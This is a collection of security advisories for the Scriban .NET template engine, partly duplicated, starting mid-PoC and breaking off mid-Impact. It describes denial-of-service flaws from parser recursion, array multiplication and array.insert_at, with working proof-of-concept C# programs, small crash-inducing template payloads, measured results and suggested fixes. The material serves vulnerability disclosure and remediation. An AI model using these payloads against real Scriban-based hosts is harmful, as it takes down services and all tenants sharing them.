System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

• Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
• Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
• Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
• Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
• Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

Summary

The array multiplication operator (array * integer) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with no LoopLimit / LimitToString check and no overflow-safe arithmetic. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service.

This is the unguarded sibling of operations that were hardened against the same class of abuse: string * integer (gated by a LimitToString pre-check), array.insert_at (gated by StepLoop/LoopLimit — the GHSA-24c8-4792-22hx fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by GHSA-c875-h985-hvrc ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same LoopLimit-based hardening pattern was applied to those operations but never to array * integer.

This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: (1..5) * 50000000 (and 1..N | array.size) correctly throws Exceeding number of iteration limit '1000', while [1,2,3,4,5] * 50000000 allocates ~2 GB with no limit. The LoopLimit control is enforced on the iteration path but not on the array * int allocation path, side by side, in the same version. The bug has been present since the operator was introduced in 3.0.0, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's LoopLimit hardening.

Details

The array * int operator is handled in ScriptArray<T>.TryEvaluate:

// src/Scriban/Runtime/ScriptArray.cs:504-508  (Multiply case)
var newArray = new ScriptArray<T>(intModifier * array.Count);
for (int i = 0; i < intModifier; i++)
{
    newArray.AddRange(array);
}

intModifier is the attacker-supplied integer (context.ToInt(...), ScriptArray.cs:399). Two problems:

1. No resource limit. Neither new ScriptArray<T>(intModifier * array.Count) nor the AddRange loop consults LoopLimit, LimitToString, or calls context.StepLoop(...). A grep of the entire TryEvaluate method (ScriptArray.cs:360-560) finds no StepLoop / LoopLimit / Limit reference. LoopLimit (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error.

2. Integer overflow in the capacity. intModifier * array.Count is unchecked int arithmetic. The overflow-safe long cast used by the string sibling is absent here.

The DoS-hardening passes guarded the two sibling operations but not this one:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341  (string * int — GUARDED)
if (context.LimitToString > 0 && value > 0 && leftText.Length > 0
        && (long)leftText.Length * value > context.LimitToString)   // long arithmetic, pre-check
{
    throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`.");
}

// src/Scriban/Functions/ArrayFunctions.cs:414  (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0)
for (int i = array.Count; i < index; i++)
{
    context.StepLoop(span, ref loopStep);   // LoopLimit enforced
    array.Add(null);
}

array * int (ScriptArray.cs:504) received neither guard.

When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243
catch (Exception ex) when (!(ex is ScriptRuntimeException))
{
    throw new ScriptRuntimeException(span, ex.Message);
}

So a host that wraps Render() in try/catch sees a ScriptRuntimeException carrying the original OutOfMemoryException message (or ArgumentOutOfRangeException on the integer-overflow path).

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

// ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements
string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}";

System.Console.WriteLine("Rendering...");
var sw = System.Diagnostics.Stopwatch.StartNew();
var result = Template.Parse(tpl).Render();           // allocates ~7.7 GB
System.Console.WriteLine($"size={result.Trim()} peakWS="
    + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024)
    + "MB elapsed=" + sw.ElapsedMilliseconds + "ms");

Run:

dotnet run -c Release

Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multiplier:

| Multiplier | template size | elements | peak working set | |---|---|---|---| | 100,000 | 38 B | 500K | 49 MB (not a DoS) | | 50,000,000 | 40 B | 250M | 1,958 MB | | 200,000,000 | 41 B | 1B | 7,681 MB | | 400,000,000 | 41 B | 2B | 15,313 MB | | 429,496,730 | 41 B | — | integer overflow in intModifier * array.Count → wrapped ArgumentOutOfRangeException |

LoopLimit (default 1000) is demonstrably not enforced: 250,000,000 elements are created with no "iteration limit" error. Reproduced identically on released NuGet 6.6.0, 7.0.0, 7.1.0, and 7.2.0, and on 3.0.0, 4.0.0, 5.0.0, 5.10.0, 6.0.0, 6.2.1, 6.5.8 (~2 GB at multiplier 50,000,000). Version 2.1.4 and earlier are NOT affected — the operator did not exist (Unable to convert type ScriptArray to int).

Impact

• Type: Denial of service via uncontrolled memory allocation (CWE-789 / CWE-1284). The result size is intModifier * array.Count, attacker-controlled, with no limit and no overflow-safe arithmetic.
• Severity: CVSS 4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 (High) — the same vector and score GitHub/Scriban assigned to the sibling advisory GHSA-24c8-4792-22hx. CVSS 3.1 equivalent AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High).
• Who is impacted: any application that renders a template whose text is wholly or partially attacker-controlled (the documented server-side template scenario), or that passes attacker-controlled strings to object.eval / object.eval_template. No MemberFilter interaction is required — this is a pure language operation.
• Outcome (deployment-dependent, stated honestly): On systems with sufficient memory, the runtime catches the allocation failure and the host sees a ScriptRuntimeException wrapping OutOfMemoryException (or ArgumentOutOfRangeException on the integer-overflow path) — recoverable per request. On systems where the multi-GB allocation exceeds available memory, the OS OOM-killer can terminate the process before the managed exception fires (this outcome is deployment-dependent and was not reproduced in our 20 GB + swap test environment). In all cases, a ~40-byte template forces a multi-GB allocation and seconds of pegged CPU/GC — a real per-request availability degradation and resource amplification.
• Why the existing mitigation does not help: LoopLimit (default 1000) is the documented control for unbounded iteration/allocation, but the array * int path never consults it, so a defender running default configuration is not protected.
• Affected versions: 3.0.0 – 7.2.0 (every release containing the array * int operator). 2.1.4 and earlier are not affected.

Suggested remediation

Apply the same hardening already used on the sibling operations, in ScriptArray.cs (Multiply case, :504-508):

• Mirror array.insert_at: call context.StepLoop(span, ref loopStep) inside the fill loop so LoopLimit is enforced; or
• Mirror string * int: pre-check the result size with overflow-safe arithmetic before allocating, e.g. if (context.LimitToString > 0 && (long)intModifier * array.Count > context.LimitToString) throw new ScriptRuntimeException(...), and compute the capacity as long (or reject negative/overflowing products) to remove the integer-overflow path.

Add a regression test that asserts a graceful ScriptRuntimeException for a large multiplier (e.g. [1,2,3,4,5] * 50000000) rather than allowing the allocation to proceed.

Summary

ArrayFunctions.InsertAt in Scriban allocates index - list.Count null entries in a tight C# for loop with no bound on index. The function is exposed to template authors as array.insert_at, and the fill loop ignores every existing safety control: LoopLimit, LimitToString, ObjectRecursionLimit, and RecursiveLimit. A single template such as {{ [1] | array.insert_at 200000000 'x' | array.size }} causes OutOfMemoryException in well under a second on a host with 1 GB of memory, even when LoopLimit is set to 10 and LimitToString is set to 100. Because OutOfMemoryException is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template.

This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in string * int, array.size, array.join, string.pad_left, and string.pad_right. The 7.0.0 hardening pass (dde661d "Apply LoopLimit to internal iteration paths" and 4227fde "Harden string padding width limits") swept the equivalent loops in ArrayFunctions and StringFunctions but missed InsertAt.

Details

Reproducible in 7.1.0 (latest tag) and on master at c8094b0.

src/Scriban/Functions/ArrayFunctions.cs:369-386:

public static IEnumerable InsertAt(IEnumerable? list, int index, object? value)
{
    if (index < 0)
    {
        index = 0;
    }

    var array = list is null ? new ScriptArray() : new ScriptArray(list);
    // Make sure that the list has already inserted elements before the index
    for (int i = array.Count; i < index; i++)
    {
        array.Add(null);            // <-- unbounded fill, no StepLoop, no Limit*
    }

    array.Insert(index, value);

    return array;
}

The function is registered as the template builtin array.insert_at (array.fmt-cs and the standard ArrayFunctions ScriptObject reflection registration). It is invoked from a template like [1] | array.insert_at 999999999 "x".

Three properties combine to make this exploitable:

1. There is no context-aware overload. Comparable amplification primitives in this same file received a (TemplateContext, SourceSpan, ...) overload that calls StepLoop per iteration (AddRange, Compact, Concat, Last, Limit, Offset, Reverse, Size, Sort, Uniq, Contains, Each, Filter, Join, Map, Any -- see commit dde661d). InsertAt was not given that treatment. The single IEnumerable, int, object signature is what the engine resolves to, so no host configuration changes its behaviour.

2. The loop itself never consults context.LoopLimit, context.LimitToString, context.RecursiveLimit, or context.ObjectRecursionLimit. There is no upstream call into context.StepLoop, context.CheckAbort, or any guard. With index = 200_000_000, the C# loop calls ScriptArray.Add(null) 200 million times on a List<object> whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up.

3. OutOfMemoryException is the actual failure mode. Per Microsoft, OutOfMemoryException and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a ScriptRuntimeException because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare OutOfMemoryException propagates and crashes the AppDomain.

The pattern that matches the existing fixes is to add a context-aware overload that validates index against LoopLimit (or LimitToString for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload [ScriptMemberIgnore]:

[ScriptMemberIgnore]
public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ }

public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value)
{
    if (index < 0) index = 0;
    if (context.LoopLimit > 0 && index > context.LoopLimit)
    {
        throw new ScriptRuntimeException(span,
            $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`.");
    }
    return InsertAt(list, index, value);
}

Same pattern as ArrayFunctions.AddRange, Compact, Concat, Last, Limit, etc., introduced by dde661d, and as StringFunctions.PadLeft/PadRight introduced by 4227fde.

PoC

Standalone .NET 9 console app referencing Scriban 7.1.0 from NuGet.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net9.0</TargetFramework>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.1.0" />
  </ItemGroup>
</Project>

Program.cs:

using System;
using System.Diagnostics;
using Scriban;

class Program
{
    static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec)
    {
        Console.WriteLine($"\n=== {title} ===");
        var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString };
        var tpl = Template.Parse(template);
        var sw = Stopwatch.StartNew();
        try
        {
            var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx));
            if (!task.Wait(TimeSpan.FromSeconds(timeoutSec)))
            {
                Console.WriteLine($"  TIMEOUT after {timeoutSec}s -- DoS confirmed");
                return;
            }
            Console.WriteLine($"  output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s");
        }
        catch (AggregateException ex)
        {
            Console.WriteLine($"  EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " +
                              $"{ex.InnerException?.Message?.Split('\n')[0]}");
        }
    }

    static void Main()
    {
        // Baseline: small index renders normally.
        Run("baseline",
            "{{ ([1] | array.insert_at 5 'x' | array.size) }}",
            loopLimit: 1000, limitToString: 1048576, timeoutSec: 5);

        // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect.
        Run("DoS via array.insert_at index=200_000_000",
            "{{ [1] | array.insert_at 200000000 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 30);

        // Exploit: int.MaxValue.
        Run("DoS via array.insert_at index=int.MaxValue",
            "{{ [1] | array.insert_at 2147483647 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 15);
    }
}

Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical:

docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \
    dotnet run -c Release

Observed output:

=== baseline ===
  output=1 chars in 0.01s

=== DoS via array.insert_at index=200_000_000 ===
  EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

=== DoS via array.insert_at index=int.MaxValue ===
  EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

Two observations:

• The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed.
• Setting LoopLimit = 10 and LimitToString = 100 (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through StepLoop, and the result is a ScriptArray, not a string, so LimitToString is never consulted.

Impact

Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using app.UseScriban-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants.

Severity is consistent with the four DoS GHSAs already published against Scriban (GHSA-xw6w-9jjh-p9cr High 7.5, GHSA-c875-h985-hvrc High 7.5, GHSA-v66j-x4hw-fv9g High 7.5, GHSA-m2p3-hwv5-xpqw High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (High, 8.7).

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression

// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

• Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
• Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
• Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
• Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
• Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

Summary

The array multiplication operator (array * integer) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with no LoopLimit / LimitToString check and no overflow-safe arithmetic. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service.

This is the unguarded sibling of operations that were hardened against the same class of abuse: string * integer (gated by a LimitToString pre-check), array.insert_at (gated by StepLoop/LoopLimit — the GHSA-24c8-4792-22hx fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by GHSA-c875-h985-hvrc ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same LoopLimit-based hardening pattern was applied to those operations but never to array * integer.

This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: (1..5) * 50000000 (and 1..N | array.size) correctly throws Exceeding number of iteration limit '1000', while [1,2,3,4,5] * 50000000 allocates ~2 GB with no limit. The LoopLimit control is enforced on the iteration path but not on the array * int allocation path, side by side, in the same version. The bug has been present since the operator was introduced in 3.0.0, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's LoopLimit hardening.

Details

The array * int operator is handled in ScriptArray<T>.TryEvaluate:

// src/Scriban/Runtime/ScriptArray.cs:504-508  (Multiply case)
var newArray = new ScriptArray<T>(intModifier * array.Count);
for (int i = 0; i < intModifier; i++)
{
    newArray.AddRange(array);
}

intModifier is the attacker-supplied integer (context.ToInt(...), ScriptArray.cs:399). Two problems:

1. No resource limit. Neither new ScriptArray<T>(intModifier * array.Count) nor the AddRange loop consults LoopLimit, LimitToString, or calls context.StepLoop(...). A grep of the entire TryEvaluate method (ScriptArray.cs:360-560) finds no StepLoop / LoopLimit / Limit reference. LoopLimit (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error.

2. Integer overflow in the capacity. intModifier * array.Count is unchecked int arithmetic. The overflow-safe long cast used by the string sibling is absent here.

The DoS-hardening passes guarded the two sibling operations but not this one:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341  (string * int — GUARDED)
if (context.LimitToString > 0 && value > 0 && leftText.Length > 0
        && (long)leftText.Length * value > context.LimitToString)   // long arithmetic, pre-check
{
    throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`.");
}

// src/Scriban/Functions/ArrayFunctions.cs:414  (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0)
for (int i = array.Count; i < index; i++)
{
    context.StepLoop(span, ref loopStep);   // LoopLimit enforced
    array.Add(null);
}

array * int (ScriptArray.cs:504) received neither guard.

When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243
catch (Exception ex) when (!(ex is ScriptRuntimeException))
{
    throw new ScriptRuntimeException(span, ex.Message);
}

So a host that wraps Render() in try/catch sees a ScriptRuntimeException carrying the original OutOfMemoryException message (or ArgumentOutOfRangeException on the integer-overflow path).

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

// ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements
string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}";

System.Console.WriteLine("Rendering...");
var sw = System.Diagnostics.Stopwatch.StartNew();
var result = Template.Parse(tpl).Render();           // allocates ~7.7 GB
System.Console.WriteLine($"size={result.Trim()} peakWS="
    + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024)
    + "MB elapsed=" + sw.ElapsedMilliseconds + "ms");

Run:

dotnet run -c Release

Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multiplier:

| Multiplier | template size | elements | peak working set | |---|---|---|---| | 100,000 | 38 B | 500K | 49 MB (not a DoS) | | 50,000,000 | 40 B | 250M | 1,958 MB | | 200,000,000 | 41 B | 1B | 7,681 MB | | 400,000,000 | 41 B | 2B | 15,313 MB | | 429,496,730 | 41 B | — | integer overflow in intModifier * array.Count → wrapped ArgumentOutOfRangeException |

LoopLimit (default 1000) is demonstrably not enforced: 250,000,000 elements are created with no "iteration limit" error. Reproduced identically on released NuGet 6.6.0, 7.0.0, 7.1.0, and 7.2.0, and on 3.0.0, 4.0.0, 5.0.0, 5.10.0, 6.0.0, 6.2.1, 6.5.8 (~2 GB at multiplier 50,000,000). Version 2.1.4 and earlier are NOT affected — the operator did not exist (Unable to convert type ScriptArray to int).

Impact

• Type: Denial of service via uncontrolled memory allocation (CWE-789 / CWE-1284). The result size is intModifier * array.Count, attacker-controlled, with no limit and no overflow-safe arithmetic.
